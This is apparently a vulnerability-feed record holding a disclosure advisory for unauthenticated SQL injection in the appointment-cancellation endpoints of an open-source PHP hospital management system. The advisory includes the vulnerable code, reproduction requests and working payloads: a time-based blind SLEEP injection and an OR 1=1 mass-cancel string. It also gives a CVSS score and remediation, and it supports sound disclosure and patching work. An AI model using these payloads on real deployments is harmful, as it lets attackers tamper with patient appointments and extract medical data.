{"uuid": "b013e5f1-f720-42c3-a533-19b41a907bf7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-63513", "type": "seen", "source": "https://gist.github.com/qianqiusujiu/5c3d2362244f1af47f8b30fcbfa93cd1", "content": "# Hospital-Management-System Appointment Cancellation SQL Injection (vanilla PHP + MySQLi)\n\n**CWE-89 \u00b7 Unauthenticated SQL injection (UPDATE) \u00b7 appointment tampering + time-based blind extraction**\n\n&gt; **Vendor:** kishan0725\n&gt; **Product:** Hospital-Management-System (vanilla PHP + MySQLi)\n&gt; **Affected version:** master branch, commit 777fda46b77a820977a5ba616283dbfbc40bf7e1 (last commit 2024-10-07; no official release version)\n&gt; **Affected endpoints:** GET /admin-panel.php?cancel=1&amp;ID=; GET /doctor-panel.php?cancel=1&amp;ID=\n&gt; **Dedup status:** PARTIAL \u2014 the `?cancel=1&amp;ID=` entry point is shared with CVE-2025-63513 (IDOR on the same endpoint) and with the UNION-based bill-PDF sink (separate submission), but this submission is a distinct vulnerability class and root cause: raw concatenation of `ID` into UPDATE statements. No prior CVE covers these UPDATE sinks.\n&gt; **Disclosed via:** VulDB (submission #xxxxxx)\n&gt; **Note:** Sensitive extracted values (credentials) have been redacted from this public disclosure.\n\n## 1. Summary\n\nThe appointment-cancellation handlers of both dashboards concatenate the GET parameter `ID` raw into UPDATE statements and execute it with `mysqli_query`. Neither `admin-panel.php` nor `doctor-panel.php` contains any session or role check. Any anonymous visitor can (a) cancel arbitrary appointments (unauthenticated status change) and (b) run time-based blind SQL injection against both UPDATE sinks, providing a boolean/timing oracle for data extraction.\n\n## 2. Root Cause\n\n| File | Line | Statement |\n|---|---|---|\n| `admin-panel.php` | 71 | patient-dashboard cancel UPDATE (below) |\n| `doctor-panel.php` | 8 | doctor-dashboard cancel UPDATE (below) |\n\n```php\n// admin-panel.php:70-71 (entry: GET ?cancel=1&amp;ID=)\nif (isset($_GET['cancel'])) {\n    mysqli_query($con, \"update appointmenttb set userStatus='0' where ID = '\".$_GET['ID'].\"'\");\n}\n\n// doctor-panel.php:7-8 (entry: GET ?cancel=1&amp;ID=)\nif (isset($_GET['cancel'])) {\n    mysqli_query($con, \"update appointmenttb set doctorStatus='0' where ID = '\".$_GET['ID'].\"'\");\n}\n```\n\nRaw string concatenation of `$_GET['ID']`, zero filtering, no prepared statement, and no authentication gate anywhere in either file (the pages read `$_SESSION` values without any `isset`/redirect check).\n\n## 3. Prerequisites\n\nNone. No authentication is required; a plain GET request without a Cookie header reaches both sinks.\n\n## 4. Reproduction\n\nUnauthenticated appointment cancellation (integrity break, database-diff verified):\n\n```http\nGET /admin-panel.php?cancel=1&amp;ID=4 HTTP/1.1\n\n# no Cookie header; DB row 4: userStatus 1 -&gt; 0\nGET /doctor-panel.php?cancel=1&amp;ID=2 HTTP/1.1\n\n# no Cookie header; DB row 2: doctorStatus 1 -&gt; 0\n```\n\nTime-based blind injection (12 seeded `appointmenttb` rows; the OR predicate is evaluated per row):\n\n```http\nGET /admin-panel.php?cancel=1&amp;ID=999 HTTP/1.1\n# baseline: HTTP 200 in 0.110 s\n\nGET /admin-panel.php?cancel=1&amp;ID=999%27%20OR%20%28SELECT%20858%29%3E%28SELECT%20SLEEP%281%29%29--%20- HTTP/1.1\n# decodes to: 999' OR (SELECT 858)&gt;(SELECT SLEEP(1))-- -\n# result: HTTP 200 in 12.189 s (12 rows x SLEEP(1))\n```\n\nDoctor-panel variant: same payload against `/doctor-panel.php?cancel=1&amp;ID=` \u2014 12.173 s vs 0.078 s baseline.\n\n## 5. Confirmed Techniques\n\n- Manual verification on a local instance: MySQL 8.0.39 (127.0.0.1:3307), PHP 8.4.26 built-in server, `display_errors=0`, seeded `myhmsdb.sql`.\n- Unauthorized cancel on both sinks with no session (database before/after diff).\n- Time-based blind oracle on both sinks: 12.189 s / 12.173 s vs 0.110 s / 0.078 s baselines.\n- Payload note: the OR-comparison form is required; an AND form with a false first operand short-circuits and never evaluates `SLEEP()` \u2014 do not \"simplify\" the PoC to AND.\n\n## 6. Impact\n\n- Integrity: an anonymous attacker can cancel arbitrary appointments for any patient and any doctor, or mass-cancel via injected OR clauses (`ID=x' OR 1=1-- -` style), disrupting clinic scheduling.\n- Confidentiality: the timing oracle supports blind extraction of database content from the UPDATE context.\n- The same unauthenticated reachability is what makes the adjacent bill-PDF sink (separate submission) exploitable end-to-end.\n\n## 7. CVSS 3.1\n\n`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` (Base 8.2, High)\n\n## 8. Remediation\n\n- Use a prepared statement with a bound integer parameter for `ID` in both files.\n- Add an explicit session/role check at the top of `admin-panel.php` and `doctor-panel.php`; reject cancel requests for rows not owned by the session.\n\n## 9. References\n\n- Project: https://github.com/kishan0725/Hospital-Management-System\n- Commit: 777fda46b77a820977a5ba616283dbfbc40bf7e1 (master, 2024-10-07)\n- CWE-89: https://cwe.mitre.org/data/definitions/89.html\n- External disclosure: [GIST_URL]\n- VulDB submission #xxxxxx\n\n---\n*All validation was performed in a local, isolated environment. The temporary environment was destroyed after testing.*\n", "creation_timestamp": "2026-09-29T06:38:05.000000Z"}